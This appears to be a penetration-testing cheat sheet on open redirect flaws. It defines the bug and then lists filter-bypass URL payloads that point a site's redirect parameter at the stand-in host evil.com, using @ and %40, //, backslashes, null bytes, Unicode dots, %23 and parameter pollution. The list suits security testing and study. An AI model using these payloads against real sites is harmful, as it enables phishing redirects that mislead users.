Open Redirect

Introduction

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain

Where to find

Sometimes it can be found in login / register / logout pages
Checking the javascript source code

How to exploit

Try change the domain
```
/?redir=evil.com
```
Using a whitelisted domain or keyword
```
/?redir=target.com.evil.com
```
Using // to bypass http blacklisted keyword
```
/?redir=//evil.com
```
Using https: to bypass // blacklisted keyword
```
/?redir=https:evil.com
```
Using \\ to bypass // blacklisted keyword
```
/?redir=\\evil.com
```

Using \/\/ to bypass // blacklisted keyword

/?redir=\/\/evil.com/
/?redir=/\/evil.com/

Using %E3%80%82 to bypass . blacklisted character

/?redir=evil。com
/?redir=evil%E3%80%82com

Using null byte %00 to bypass blacklist filter
```
/?redir=//evil%00.com
```
Using parameter pollution
```
/?next=target.com&next=evil.com
```
Using @ or %40 character, browser will redirect to anything after the @
```
/?redir=target.com@evil.com
/?redir=target.com%40evil.com
```

Creating folder as their domain

http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com

Using ? characted, browser will translate it to /?
```
/?redir=target.com?evil.com
```
Bypass the filter if it only checks for domain name using %23
```
/?redir=target.com%23evil.com
```
Host/Split Unicode Normalization
```
https://evil.c℀.example.com
```
Using ° symbol to bypass
```
/?redir=target.com/°evil.com
```
Bypass the filter if it only allows yoou to control the path using a nullbyte %0d or %0a
```
/?redir=/%0d/evil.com
```

Open Redirect

Introduction

Where to find

How to exploit

References